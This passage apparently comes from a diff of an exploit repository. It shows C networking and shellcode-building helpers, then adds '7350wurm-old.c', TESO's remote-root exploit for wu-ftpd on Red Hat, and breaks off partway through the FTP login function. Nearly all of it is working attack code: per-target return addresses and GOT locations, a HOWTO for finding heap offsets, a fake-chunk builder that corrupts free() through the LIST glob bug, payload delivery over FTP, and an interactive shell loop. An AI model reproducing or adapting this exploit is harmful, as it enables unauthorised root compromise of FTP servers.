| 737 | if ((dp % 8) == 0) | ||
| 738 | fprintf (stderr, " "); | ||
| 739 | if ((dp % 16) == 0) { | ||
| 740 | fprintf (stderr, "| "); | ||
| 741 | p = dp; | ||
| 742 | for (dp -= 16; dp < p; dp++) | ||
| 743 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 744 | fflush (stderr); | ||
| 745 | fprintf (stderr, "\n"); | ||
| 746 | } | ||
| 747 | fflush (stderr); | ||
| 748 | } | ||
| 749 | if ((amount % 16) != 0) { | ||
| 750 | p = dp = 16 - (amount % 16); | ||
| 751 | for (dp = p; dp > 0; dp--) { | ||
| 752 | fprintf (stderr, " "); | ||
| 753 | if (((dp % 8) == 0) && (p != 8)) | ||
| 754 | fprintf (stderr, " "); | ||
| 755 | fflush (stderr); | ||
| 756 | } | ||
| 757 | fprintf (stderr, " | "); | ||
| 758 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 759 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 760 | fflush (stderr); | ||
| 761 | } | ||
| 762 | fprintf (stderr, "\n"); | ||
| 763 | |||
| 764 | return; | ||
| 765 | } | ||
| 766 | |||
| 767 | |||
| 768 | |||
| 769 | unsigned long int | ||
| 770 | net_resolve (char *host) | ||
| 771 | { | ||
| 772 | long i; | ||
| 773 | struct hostent *he; | ||
| 774 | |||
| 775 | i = inet_addr(host); | ||
| 776 | if (i == -1) { | ||
| 777 | he = gethostbyname(host); | ||
| 778 | if (he == NULL) { | ||
| 779 | return (0); | ||
| 780 | } else { | ||
| 781 | return (*(unsigned long *) he->h_addr); | ||
| 782 | } | ||
| 783 | } | ||
| 784 | return (i); | ||
| 785 | } | ||
| 786 | |||
| 787 | |||
| 788 | int | ||
| 789 | net_connect (struct sockaddr_in *cs, char *server, | ||
| 790 | unsigned short int port, int sec) | ||
| 791 | { | ||
| 792 | int n, | ||
| 793 | len, | ||
| 794 | error, | ||
| 795 | flags; | ||
| 796 | int fd; | ||
| 797 | struct timeval tv; | ||
| 798 | fd_set rset, wset; | ||
| 799 | struct sockaddr_in csa; | ||
| 800 | |||
| 801 | if (cs == NULL) | ||
| 802 | cs = &csa; | ||
| 803 | |||
| 804 | /* first allocate a socket */ | ||
| 805 | cs->sin_family = AF_INET; | ||
| 806 | cs->sin_port = htons (port); | ||
| 807 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 808 | if (fd == -1) | ||
| 809 | return (-1); | ||
| 810 | |||
| 811 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 812 | close (fd); | ||
| 813 | return (-1); | ||
| 814 | } | ||
| 815 | |||
| 816 | flags = fcntl (fd, F_GETFL, 0); | ||
| 817 | if (flags == -1) { | ||
| 818 | close (fd); | ||
| 819 | return (-1); | ||
| 820 | } | ||
| 821 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 822 | if (n == -1) { | ||
| 823 | close (fd); | ||
| 824 | return (-1); | ||
| 825 | } | ||
| 826 | |||
| 827 | error = 0; | ||
| 828 | |||
| 829 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 830 | if (n < 0) { | ||
| 831 | if (errno != EINPROGRESS) { | ||
| 832 | close (fd); | ||
| 833 | return (-1); | ||
| 834 | } | ||
| 835 | } | ||
| 836 | if (n == 0) | ||
| 837 | goto done; | ||
| 838 | |||
| 839 | FD_ZERO(&rset); | ||
| 840 | FD_ZERO(&wset); | ||
| 841 | FD_SET(fd, &rset); | ||
| 842 | FD_SET(fd, &wset); | ||
| 843 | tv.tv_sec = sec; | ||
| 844 | tv.tv_usec = 0; | ||
| 845 | |||
| 846 | n = select(fd + 1, &rset, &wset, NULL, &tv); | ||
| 847 | if (n == 0) { | ||
| 848 | close(fd); | ||
| 849 | errno = ETIMEDOUT; | ||
| 850 | return (-1); | ||
| 851 | } | ||
| 852 | if (n == -1) | ||
| 853 | return (-1); | ||
| 854 | |||
| 855 | if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { | ||
| 856 | if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { | ||
| 857 | len = sizeof(error); | ||
| 858 | if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 859 | errno = ETIMEDOUT; | ||
| 860 | return (-1); | ||
| 861 | } | ||
| 862 | if (error == 0) { | ||
| 863 | goto done; | ||
| 864 | } else { | ||
| 865 | errno = error; | ||
| 866 | return (-1); | ||
| 867 | } | ||
| 868 | } | ||
| 869 | } else | ||
| 870 | return (-1); | ||
| 871 | |||
| 872 | done: | ||
| 873 | n = fcntl(fd, F_SETFL, flags); | ||
| 874 | if (n == -1) | ||
| 875 | return (-1); | ||
| 876 | return (fd); | ||
| 877 | } | ||
| 878 | |||
| 879 | |||
| 880 | void | ||
| 881 | net_write (int fd, const char *str, ...) | ||
| 882 | { | ||
| 883 | char tmp[1025]; | ||
| 884 | va_list vl; | ||
| 885 | int i; | ||
| 886 | |||
| 887 | va_start(vl, str); | ||
| 888 | memset(tmp, 0, sizeof(tmp)); | ||
| 889 | i = vsnprintf(tmp, sizeof(tmp), str, vl); | ||
| 890 | va_end(vl); | ||
| 891 | |||
| 892 | #ifdef DEBUG | ||
| 893 | printf("[snd] %s\n", tmp); | ||
| 894 | #endif | ||
| 895 | |||
| 896 | send(fd, tmp, i, 0); | ||
| 897 | return; | ||
| 898 | } | ||
| 899 | |||
| 900 | |||
| 901 | int | ||
| 902 | net_rlinet (int fd, char *buf, int bufsize, int sec) | ||
| 903 | { | ||
| 904 | int n; | ||
| 905 | unsigned long int rb = 0; | ||
| 906 | struct timeval tv_start, tv_cur; | ||
| 907 | |||
| 908 | memset(buf, '\0', bufsize); | ||
| 909 | (void) gettimeofday(&tv_start, NULL); | ||
| 910 | |||
| 911 | do { | ||
| 912 | (void) gettimeofday(&tv_cur, NULL); | ||
| 913 | if (sec > 0) { | ||
| 914 | if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - | ||
| 915 | ((tv_start.tv_sec * 1000000) + | ||
| 916 | (tv_start.tv_usec))) > (sec * 1000000)) | ||
| 917 | { | ||
| 918 | return (-1); | ||
| 919 | } | ||
| 920 | } | ||
| 921 | n = net_rtimeout(fd, NET_READTIMEOUT); | ||
| 922 | if (n <= 0) { | ||
| 923 | return (-1); | ||
| 924 | } | ||
| 925 | n = read(fd, buf, 1); | ||
| 926 | if (n <= 0) { | ||
| 927 | return (n); | ||
| 928 | } | ||
| 929 | rb++; | ||
| 930 | if (*buf == '\n') | ||
| 931 | return (rb); | ||
| 932 | buf++; | ||
| 933 | if (rb >= bufsize) | ||
| 934 | return (-2); /* buffer full */ | ||
| 935 | } while (1); | ||
| 936 | } | ||
| 937 | |||
| 938 | |||
| 939 | int | ||
| 940 | net_rtimeout (int fd, int sec) | ||
| 941 | { | ||
| 942 | fd_set rset; | ||
| 943 | struct timeval tv; | ||
| 944 | int n, error, flags; | ||
| 945 | |||
| 946 | |||
| 947 | error = 0; | ||
| 948 | flags = fcntl(fd, F_GETFL, 0); | ||
| 949 | n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); | ||
| 950 | if (n == -1) | ||
| 951 | return (-1); | ||
| 952 | |||
| 953 | FD_ZERO(&rset); | ||
| 954 | FD_SET(fd, &rset); | ||
| 955 | tv.tv_sec = sec; | ||
| 956 | tv.tv_usec = 0; | ||
| 957 | |||
| 958 | /* now we wait until more data is received then the tcp low level | ||
| 959 | * watermark, which should be setted to 1 in this case (1 is default) | ||
| 960 | */ | ||
| 961 | n = select(fd + 1, &rset, NULL, NULL, &tv); | ||
| 962 | if (n == 0) { | ||
| 963 | n = fcntl(fd, F_SETFL, flags); | ||
| 964 | if (n == -1) | ||
| 965 | return (-1); | ||
| 966 | errno = ETIMEDOUT; | ||
| 967 | return (-1); | ||
| 968 | } | ||
| 969 | if (n == -1) { | ||
| 970 | return (-1); | ||
| 971 | } | ||
| 972 | /* socket readable ? */ | ||
| 973 | if (FD_ISSET(fd, &rset)) { | ||
| 974 | n = fcntl(fd, F_SETFL, flags); | ||
| 975 | if (n == -1) | ||
| 976 | return (-1); | ||
| 977 | return (1); | ||
| 978 | } else { | ||
| 979 | n = fcntl(fd, F_SETFL, flags); | ||
| 980 | if (n == -1) | ||
| 981 | return (-1); | ||
| 982 | errno = ETIMEDOUT; | ||
| 983 | return (-1); | ||
| 984 | } | ||
| 985 | } | ||
| 986 | |||
| 987 | |||
| 988 | static int | ||
| 989 | sc_build_x86_lnx (unsigned char *target, size_t target_len, | ||
| 990 | unsigned char *shellcode, char **argv) | ||
| 991 | { | ||
| 992 | int i; | ||
| 993 | size_t tl_orig = target_len; | ||
| 994 | |||
| 995 | |||
| 996 | if (strlen (shellcode) >= (target_len - 1)) | ||
| 997 | return (-1); | ||
| 998 | |||
| 999 | memcpy (target, shellcode, strlen (shellcode)); | ||
| 1000 | target += strlen (shellcode); | ||
| 1001 | target_len -= strlen (shellcode); | ||
| 1002 | |||
| 1003 | for (i = 0 ; argv[i] != NULL ; ++i) | ||
| 1004 | ; | ||
| 1005 | |||
| 1006 | /* set argument count | ||
| 1007 | */ | ||
| 1008 | target[0] = (unsigned char) i; | ||
| 1009 | target++; | ||
| 1010 | target_len--; | ||
| 1011 | |||
| 1012 | for ( ; i > 0 ; ) { | ||
| 1013 | i -= 1; | ||
| 1014 | |||
| 1015 | if (strlen (argv[i]) >= target_len) | ||
| 1016 | return (-1); | ||
| 1017 | |||
| 1018 | printf ("[%3d/%3d] adding (%2d): %s\n", | ||
| 1019 | (tl_orig - target_len), tl_orig, | ||
| 1020 | strlen (argv[i]), argv[i]); | ||
| 1021 | |||
| 1022 | memcpy (target, argv[i], strlen (argv[i])); | ||
| 1023 | target += strlen (argv[i]); | ||
| 1024 | target_len -= strlen (argv[i]); | ||
| 1025 | |||
| 1026 | target[0] = (unsigned char) (i + 1); | ||
| 1027 | target++; | ||
| 1028 | target_len -= 1; | ||
| 1029 | } | ||
| 1030 | |||
| 1031 | return (tl_orig - target_len); | ||
| 1032 | } | ||
| 1033 | |||
| 1034 | |||
diff --git a/exploits/7350wurm/backup/7350wurm-old.c b/exploits/7350wurm/backup/7350wurm-old.c new file mode 100644 index 0000000..676af09 --- /dev/null +++ b/exploits/7350wurm/backup/7350wurm-old.c | |||
| @@ -0,0 +1,925 @@ | |||
| 1 | /* 7350wurm - x86/linux wu ftpd redhat-mess exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * The distribution restrictions cover the entire file, including this | ||
| 14 | * header notice. (This means, you are not allowed to reproduce the header). | ||
| 15 | * | ||
| 16 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 17 | * All Rights Reserved | ||
| 18 | * | ||
| 19 | ***************************************************************************** | ||
| 20 | * thanks to bnuts for hinting me about this straight way on redhat | ||
| 21 | * on non-redhat's its way more complicated (researched by dvorak, zip, | ||
| 22 | * lorian, smiler and me), but still possible through heap fragmentation | ||
| 23 | * and some helpful memleaks in wuftpd ;) | ||
| 24 | */ | ||
| 25 | |||
| 26 | #define VERSION "0.0.1" | ||
| 27 | |||
| 28 | #include <sys/types.h> | ||
| 29 | #include <sys/time.h> | ||
| 30 | #include <sys/socket.h> | ||
| 31 | #include <netinet/in.h> | ||
| 32 | #include <arpa/inet.h> | ||
| 33 | #include <arpa/telnet.h> | ||
| 34 | #include <netdb.h> | ||
| 35 | #include <errno.h> | ||
| 36 | #include <fcntl.h> | ||
| 37 | #include <unistd.h> | ||
| 38 | #include <stdio.h> | ||
| 39 | #include <stdlib.h> | ||
| 40 | #include <stdarg.h> | ||
| 41 | #include <string.h> | ||
| 42 | #include <time.h> | ||
| 43 | |||
| 44 | |||
| 45 | /* HOWTO get the offsets: | ||
| 46 | |||
| 47 | in this order, get: | ||
| 48 | |||
| 49 | 1. buf_addr | ||
| 50 | is the mallocated space of the first RETR line we send. the direct | ||
| 51 | address malloc gives is used. just use ltrace: | ||
| 52 | |||
| 53 | 2223 [080551b0] malloc(504) = 0x08089300 | ||
| 54 | |||
| 55 | 2. chunk_start | ||
| 56 | is the relative number of bytes from the beginning of buf_start to | ||
| 57 | where globlist[1] will be. i expect it to be very low. its 4 on | ||
| 58 | redhat 6.1 for example. play around to find it. you can see what | ||
| 59 | is passed to the segfaulting free(). | ||
| 60 | |||
| 61 | 3. fakechunk_rel | ||
| 62 | is the relative number of bytes from the beginning of buf_start | ||
| 63 | to where we want to create our fakechunk. choose wisely, not too | ||
| 64 | low, since the upper parts of buf_addr's buffer are destroyed | ||
| 65 | by malloc functions again. choose 16-48 or so. | ||
| 66 | |||
| 67 | 4. retaddr | ||
| 68 | something buf_addr + 64 or so | ||
| 69 | |||
| 70 | 5. retloc | ||
| 71 | GOT of free | ||
| 72 | |||
| 73 | */ | ||
| 74 | |||
| 75 | typedef struct { | ||
| 76 | char * desc; /* distribution */ | ||
| 77 | char * banner; /* ftp banner part */ | ||
| 78 | unsigned char * shellcode; | ||
| 79 | unsigned int shellcode_len; | ||
| 80 | |||
| 81 | unsigned long int retloc; /* return address location */ | ||
| 82 | unsigned long int retaddr; /* return address */ | ||
| 83 | |||
| 84 | /* bytes in first part of LIST parameter until where the | ||
| 85 | * free pointer is | ||
| 86 | */ | ||
| 87 | unsigned int chunk_start; | ||
| 88 | /* absolute address of byte after chunk_start + 4 */ | ||
| 89 | unsigned long int buf_addr; | ||
| 90 | /* where we store our fakechunk, relative from buf_addr */ | ||
| 91 | unsigned long int fakechunk_rel; | ||
| 92 | } tgt_type; | ||
| 93 | |||
| 94 | /* shellcodes | ||
| 95 | */ | ||
| 96 | unsigned char x86_lnx_loop[] = "\xeb\xfe"; | ||
| 97 | |||
| 98 | tgt_type targets[] = { | ||
| 99 | { "DEBUG: crash target", NULL, | ||
| 100 | x86_lnx_loop, sizeof (x86_lnx_loop) - 1, | ||
| 101 | 0x55555555, 0x66666666, 20, 0x73507350, 40 }, | ||
| 102 | |||
| 103 | { "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]", | ||
| 104 | "Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999", | ||
| 105 | x86_lnx_loop, sizeof (x86_lnx_loop) - 1, | ||
| 106 | // 0x55555555, 0x66666666, 4, 0x08089300, 16 }, | ||
| 107 | // 0x55555555, 0x66666666, 4, 0x08089300, 64 }, | ||
| 108 | 0x08089fd0, 0x08089fd0, 4, 0x08089300, 64 }, | ||
| 109 | { NULL, NULL, 0, 0, 0, 0 }, | ||
| 110 | }; | ||
| 111 | |||
| 112 | |||
| 113 | /* FTP related stuff | ||
| 114 | */ | ||
| 115 | char * username = "ftp"; /* can be changed with -u */ | ||
| 116 | char * password = "mozilla@"; /* can be changed with -p */ | ||
| 117 | |||
| 118 | char * ftp_banner = NULL; | ||
| 119 | |||
| 120 | int verbose = 0; | ||
| 121 | |||
| 122 | void ftp_escape (unsigned char *buf, unsigned long int buflen); | ||
| 123 | void ftp_recv_until (int sock, char *buff, int len, char *begin); | ||
| 124 | int ftp_login (char *host, char *user, char *pass); | ||
| 125 | |||
| 126 | |||
| 127 | void usage (char *progname); | ||
| 128 | void xp (int fd); | ||
| 129 | int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len); | ||
| 130 | void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen); | ||
| 131 | void shell (int sock); | ||
| 132 | void hexdump (char *desc, unsigned char *data, unsigned int amount); | ||
| 133 | |||
| 134 | |||
| 135 | |||
| 136 | |||
| 137 | /* imported from shellkit */ | ||
| 138 | unsigned long int random_get (unsigned long int low, unsigned long int high); | ||
| 139 | void random_init (void); | ||
| 140 | int bad (unsigned char u); | ||
| 141 | int badstr (unsigned char *code, int code_len, unsigned char *bad, | ||
| 142 | int bad_len); | ||
| 143 | unsigned long int x86_nop_rwreg (void); | ||
| 144 | unsigned long int x86_nop_xfer (char *xferstr); | ||
| 145 | unsigned int x86_nop (unsigned char *dest, unsigned int dest_len, | ||
| 146 | unsigned char *bad, int bad_len); | ||
| 147 | |||
| 148 | #define BSET(dest, len, val, bw) { \ | ||
| 149 | dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \ | ||
| 150 | dest |= val << (8 - bw - len); /* set value bits */ \ | ||
| 151 | bw += len; \ | ||
| 152 | } | ||
| 153 | |||
| 154 | /* imported from network.c */ | ||
| 155 | #define NET_CONNTIMEOUT 60 | ||
| 156 | #define NET_READTIMEOUT 20 | ||
| 157 | int net_conntimeout = NET_CONNTIMEOUT; | ||
| 158 | |||
| 159 | unsigned long int net_resolve (char *host); | ||
| 160 | int net_connect (struct sockaddr_in *cs, char *server, | ||
| 161 | unsigned short int port, int sec); | ||
| 162 | void net_write (int fd, const char *str, ...); | ||
| 163 | int net_rtimeout (int fd, int sec); | ||
| 164 | int net_rlinet (int fd, char *buf, int bufsize, int sec); | ||
| 165 | |||
| 166 | |||
| 167 | void | ||
| 168 | usage (char *progname) | ||
| 169 | { | ||
| 170 | fprintf (stderr, "usage: %s [-t <num>] [-u <user>] " | ||
| 171 | "[-p <pass>] <host>\n\n", progname); | ||
| 172 | |||
| 173 | fprintf (stderr, "-t num\tchoose target (0 for list)\n" | ||
| 174 | "-u user\tusername to login to FTP (default: \"ftp\")\n" | ||
| 175 | "-p pass\tpassword to use (default: \"mozilla@\")\n" | ||
| 176 | "host\tIP address or fqhn to connect to\n"); | ||
| 177 | fprintf (stderr, "\n"); | ||
| 178 | |||
| 179 | exit (EXIT_FAILURE); | ||
| 180 | } | ||
| 181 | |||
| 182 | |||
| 183 | int | ||
| 184 | main (int argc, char *argv[]) | ||
| 185 | { | ||
| 186 | int safeguard = 0; | ||
| 187 | char c; | ||
| 188 | char * progname; | ||
| 189 | char * dest; | ||
| 190 | int fd; | ||
| 191 | |||
| 192 | tgt_type * tgt; | ||
| 193 | int tgt_num = -1; | ||
| 194 | |||
| 195 | unsigned char xpbuf[512]; | ||
| 196 | |||
| 197 | |||
| 198 | fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 redhat-mess remote root\n" | ||
| 199 | "team teso (thx bnuts!).\n\n"); | ||
| 200 | |||
| 201 | progname = argv[0]; | ||
| 202 | if (argc < 2) | ||
| 203 | usage (progname); | ||
| 204 | |||
| 205 | |||
| 206 | while ((c = getopt (argc, argv, "t:u:p:")) != EOF) { | ||
| 207 | switch (c) { | ||
| 208 | case 't': | ||
| 209 | tgt_num = atoi (optarg); | ||
| 210 | break; | ||
| 211 | case 'u': | ||
| 212 | username = optarg; | ||
| 213 | break; | ||
| 214 | case 'p': | ||
| 215 | password = optarg; | ||
| 216 | break; | ||
| 217 | default: | ||
| 218 | usage (argv[0]); | ||
| 219 | break; | ||
| 220 | } | ||
| 221 | } | ||
| 222 | |||
| 223 | if (tgt_num == 0 || | ||
| 224 | tgt_num >= (sizeof (targets) / sizeof (tgt_type))) | ||
| 225 | { | ||
| 226 | if (tgt_num != 0) | ||
| 227 | printf ("WARNING: target out of list. giving list\n\n"); | ||
| 228 | |||
| 229 | printf ("num . description\n"); | ||
| 230 | printf ("----+-------------------------------------------------------\n"); | ||
| 231 | |||
| 232 | for ( ; targets[tgt_num].desc != NULL ; ++tgt_num) | ||
| 233 | printf ("%3d | %s\n", tgt_num + 1, | ||
| 234 | targets[tgt_num].desc); | ||
| 235 | |||
| 236 | printf (" '\n"); | ||
| 237 | |||
| 238 | exit (EXIT_SUCCESS); | ||
| 239 | } | ||
| 240 | tgt = &targets[tgt_num - 1]; | ||
| 241 | |||
| 242 | if ((argc - optind) != 1) | ||
| 243 | usage (argv[0]); | ||
| 244 | |||
| 245 | dest = argv[argc - 1]; | ||
| 246 | if (dest[0] == '-') | ||
| 247 | usage (progname); | ||
| 248 | |||
| 249 | |||
| 250 | printf ("# trying to log into %s with (%s/%s)\n", dest, | ||
| 251 | username, password); | ||
| 252 | |||
| 253 | fd = ftp_login (dest, username, password); | ||
| 254 | if (fd <= 0) { | ||
| 255 | fprintf (stderr, "failed to connect (user/pass correct?)\n"); | ||
| 256 | exit (EXIT_FAILURE); | ||
| 257 | } | ||
| 258 | printf ("# connected.\n"); | ||
| 259 | |||
| 260 | getchar(); | ||
| 261 | |||
| 262 | printf ("# banner: %s\n", (ftp_banner == NULL) ? "???" : | ||
| 263 | ftp_banner); | ||
| 264 | |||
| 265 | while (safeguard-- > 0) { | ||
| 266 | net_write (fd, "RNFR ././././\n"); | ||
| 267 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "350 "); | ||
| 268 | } | ||
| 269 | net_write (fd, "HELP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"); | ||
| 270 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), ""); | ||
| 271 | |||
| 272 | printf ("\n# 1. sending first bait to force globlist[1] = ourval\n"); | ||
| 273 | |||
| 274 | /* 511 bytes we have theoretically, but lets consider possible 0xff | ||
| 275 | * chars we have to escape later. | ||
| 276 | */ | ||
| 277 | xp_build (tgt, xpbuf, 500 - strlen ("LIST ")); | ||
| 278 | ftp_escape (xpbuf, sizeof (xpbuf)); | ||
| 279 | printf ("xpbuf (%d): %s\n", strlen (xpbuf), xpbuf); | ||
| 280 | net_write (fd, "LIST %s\n", xpbuf); | ||
| 281 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 "); | ||
| 282 | |||
| 283 | printf ("\n# 2. triggering free(globlist[1])\n"); | ||
| 284 | net_write (fd, "LIST ~{\n"); | ||
| 285 | |||
| 286 | close (fd); | ||
| 287 | exit (EXIT_SUCCESS); | ||
| 288 | |||
| 289 | shell (fd); | ||
| 290 | |||
| 291 | exit (EXIT_SUCCESS); | ||
| 292 | } | ||
| 293 | |||
| 294 | |||
| 295 | #define ADDR_STORE(ptr,addr){\ | ||
| 296 | ((unsigned char *) (ptr))[0] = (addr) & 0xff;\ | ||
| 297 | ((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;\ | ||
| 298 | ((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;\ | ||
| 299 | ((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;\ | ||
| 300 | } | ||
| 301 | |||
| 302 | /* LIST <buf>, buf being buf_len bytes long | ||
| 303 | * method by bnuts, thanks! (now you have one friend at least ;) | ||
| 304 | */ | ||
| 305 | |||
| 306 | int | ||
| 307 | xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len) | ||
| 308 | { | ||
| 309 | unsigned char * wl = buf; /* walker */ | ||
| 310 | |||
| 311 | |||
| 312 | memset (buf, '\0', buf_len); | ||
| 313 | |||
| 314 | memset (wl, 'I', buf_len - 16 - strlen ("~{}{}") - 1); | ||
| 315 | wl[0] = '~'; | ||
| 316 | wl[1] = '{'; | ||
| 317 | wl[2] = '7'; | ||
| 318 | wl[3] = '/'; /* gimme a 550 "unknown user" ! */ | ||
| 319 | |||
| 320 | /* put our fake chunk's address at where globlist[1] will be | ||
| 321 | */ | ||
| 322 | ADDR_STORE (wl + tgt->chunk_start, | ||
| 323 | tgt->buf_addr + tgt->fakechunk_rel); | ||
| 324 | |||
| 325 | /* and build the fake chunk | ||
| 326 | */ | ||
| 327 | xp_buildchunk (tgt, wl + tgt->fakechunk_rel, | ||
| 328 | strlen (wl + tgt->fakechunk_rel)); | ||
| 329 | |||
| 330 | |||
| 331 | wl += strlen (wl); | ||
| 332 | wl[0] = '}'; | ||
| 333 | |||
| 334 | /* second part {BBB...BBB} | ||
| 335 | */ | ||
| 336 | wl[1] = '{'; | ||
| 337 | wl += 2; | ||
| 338 | memset (wl, 'B', buf_len - (wl - buf) - 3); | ||
| 339 | wl += strlen (wl); | ||
| 340 | wl[0] = '}'; | ||
| 341 | wl[1] = '\0'; | ||
| 342 | wl += 2; | ||
| 343 | |||
| 344 | |||
| 345 | return (wl - buf); | ||
| 346 | } | ||
| 347 | |||
| 348 | |||
| 349 | void | ||
| 350 | xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen) | ||
| 351 | { | ||
| 352 | fprintf (stderr, "building chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n", | ||
| 353 | tgt->retloc, tgt->retaddr, clen); | ||
| 354 | |||
| 355 | /* easy, straight forward technique | ||
| 356 | */ | ||
| 357 | ADDR_STORE (&cspace[-12], 0xffffffff); | ||
| 358 | ADDR_STORE (&cspace[-8], 0xffffffff); | ||
| 359 | ADDR_STORE (&cspace[-4], 0xfffffffc); | ||
| 360 | cspace[0] = 'A'; | ||
| 361 | ADDR_STORE (&cspace[1], tgt->retloc - 12); | ||
| 362 | ADDR_STORE (&cspace[5], tgt->retaddr - 12); | ||
| 363 | } | ||
| 364 | |||
| 365 | |||
| 366 | void | ||
| 367 | shell (int sock) | ||
| 368 | { | ||
| 369 | int l; | ||
| 370 | char buf[512]; | ||
| 371 | fd_set rfds; | ||
| 372 | |||
| 373 | |||
| 374 | while (1) { | ||
| 375 | FD_SET (0, &rfds); | ||
| 376 | FD_SET (sock, &rfds); | ||
| 377 | |||
| 378 | select (sock + 1, &rfds, NULL, NULL, NULL); | ||
| 379 | if (FD_ISSET (0, &rfds)) { | ||
| 380 | l = read (0, buf, sizeof (buf)); | ||
| 381 | if (l <= 0) { | ||
| 382 | perror ("read user"); | ||
| 383 | exit (EXIT_FAILURE); | ||
| 384 | } | ||
| 385 | write (sock, buf, l); | ||
| 386 | } | ||
| 387 | |||
| 388 | if (FD_ISSET (sock, &rfds)) { | ||
| 389 | l = read (sock, buf, sizeof (buf)); | ||
| 390 | if (l <= 0) { | ||
| 391 | perror ("read remote"); | ||
| 392 | exit (EXIT_FAILURE); | ||
| 393 | } | ||
| 394 | write (1, buf, l); | ||
| 395 | } | ||
| 396 | } | ||
| 397 | } | ||
| 398 | |||
| 399 | |||
| 400 | /*** FTP functions | ||
| 401 | */ | ||
| 402 | |||
| 403 | /* FTP is TELNET is SHIT. | ||
| 404 | */ | ||
| 405 | |||
| 406 | void | ||
| 407 | ftp_escape (unsigned char *buf, unsigned long int buflen) | ||
| 408 | { | ||
| 409 | unsigned char * obuf = buf; | ||
| 410 | |||
| 411 | |||
| 412 | for ( ; *buf != '\0' ; ++buf) { | ||
| 413 | if (*buf == 0xff && | ||
| 414 | (((buf - obuf) + strlen (buf) + 1) < buflen)) | ||
| 415 | { | ||
| 416 | memmove (buf + 1, buf, strlen (buf) + 1); | ||
| 417 | buf += 1; | ||
| 418 | } | ||
| 419 | } | ||
| 420 | } | ||
| 421 | |||
| 422 | |||
| 423 | void | ||
| 424 | ftp_recv_until (int sock, char *buff, int len, char *begin) | ||
| 425 | { | ||
| 426 | char dbuff[2048]; | ||
| 427 | |||
| 428 | |||
| 429 | if (buff == NULL) { | ||
| 430 | buff = dbuff; | ||
| 431 | len = sizeof (dbuff); | ||
| 432 | } | ||
| 433 | |||
| 434 | do { | ||
| 435 | memset (buff, '\x00', len); | ||
| 436 | if (net_rlinet (sock, buff, len - 1, 20) <= 0) | ||
| 437 | return; | ||
| 438 | } while (memcmp (buff, begin, strlen (begin)) != 0); | ||
| 439 | |||
| 440 | return; | ||
| 441 | } | ||
| 442 | |||
| 443 | |||
| 444 | int | ||
| 445 | ftp_login (char *host, char *user, char *pass) | ||
| 446 | { | ||
| 447 | int ftpsock; | ||
| 448 | char resp[512]; | ||
| 449 | |||
| 450 | |||
| 451 | ftpsock = net_connect (NULL, host, 21, 30); | ||
| 452 | if (ftpsock <= 0) | ||
| 453 | return (0); | ||
| 454 | |||
| 455 | memset (resp, '\x00', sizeof (resp)); | ||
| 456 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 457 | goto flerr; | ||
| 458 | |||
| 459 | /* handle multiline pre-login stuff (rfc violation !) | ||
| 460 | */ | ||
| 461 | if (memcmp (resp, "220-", 4) == 0) | ||
| 462 | ftp_recv_until (ftpsock, resp, sizeof (resp), "220 "); | ||
| 463 | |||
| 464 | if (memcmp (resp, "220 ", 4) != 0) { | ||
| 465 | if (verbose) | ||
| 466 | printf ("\n%s\n", resp); | ||
| 467 | goto flerr; | ||
| 468 | } | ||
| 469 | ftp_banner = strdup (resp); | ||
| 470 | |||
| 471 | net_write (ftpsock, "USER %s\n", user); | ||
| 472 | memset (resp, '\x00', sizeof (resp)); | ||
| 473 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 474 | goto flerr; | ||
| 475 | |||
| 476 | if (memcmp (resp, "331 ", 4) != 0) { | ||
| 477 | if (verbose) | ||
| 478 | printf ("\n%s\n", resp); | ||
| 479 | goto flerr; | ||
| 480 | } | ||
| 481 | |||
| 482 | net_write (ftpsock, "PASS %s\n", pass); | ||
| 483 | memset (resp, '\x00', sizeof (resp)); | ||
| 484 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 485 | goto flerr; | ||
| 486 | |||
| 487 | |||
| 488 | /* handle multiline responses from ftp servers | ||
| 489 | */ | ||
| 490 | if (memcmp (resp, "230-", 4) == 0) | ||
